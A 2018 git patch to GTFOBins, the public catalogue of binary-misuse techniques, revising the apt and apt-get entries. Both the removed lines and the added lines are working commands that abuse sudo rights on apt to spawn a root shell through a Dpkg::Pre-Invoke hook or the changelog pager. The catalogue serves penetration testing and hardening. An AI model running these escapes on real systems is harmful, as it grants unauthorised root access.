From 46fd726c5a6a97dfdd77a9cf558cc212c49b9c60 Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Thu, 29 Nov 2018 14:25:49 +0100 Subject: [PATCH] Improve 'apt-* install' entries Improve description, enforce standards and make sure that the package will not be installed. Related #38. --- _gtfobins/apt-get.md | 6 ++---- _gtfobins/apt.md | 6 ++---- 2 files changed, 4 insertions(+), 8 deletions(-) diff --git a/_gtfobins/apt-get.md b/_gtfobins/apt-get.md index 92519c6..af5fba0 100644 --- a/_gtfobins/apt-get.md +++ b/_gtfobins/apt-get.md @@ -10,8 +10,6 @@ functions: code: | sudo apt-get changelog apt !/bin/sh - - description: 'Sometimes, only some subcommands of `apt-get` are enabled by sysadmin in the sudoers file. When only `apt-get install *` is allowed, you can use:' - code: | - echo 'Dpkg::Pre-Invoke {"/bin/bash";};' > test.conf - sudo apt-get install -c ./test.conf sl + - description: For this to work the target package (e.g., `sl`) must not be installed. + code: sudo apt-get install -c <(echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}') sl --- diff --git a/_gtfobins/apt.md b/_gtfobins/apt.md index 823b523..9e5e274 100644 --- a/_gtfobins/apt.md +++ b/_gtfobins/apt.md @@ -10,8 +10,6 @@ functions: code: | sudo apt-get changelog apt !/bin/sh - - description: 'Sometimes, only some subcommands of `apt` are enabled by sysadmin in the sudoers file. When only `apt install *` is allowed, you can use:' - code: | - echo 'Dpkg::Pre-Invoke {"/bin/bash";};' > test.conf - sudo apt install -c ./test.conf sl + - description: For this to work the target package (e.g., `sl`) must not be installed. + code: sudo apt install -c <(echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}') sl ---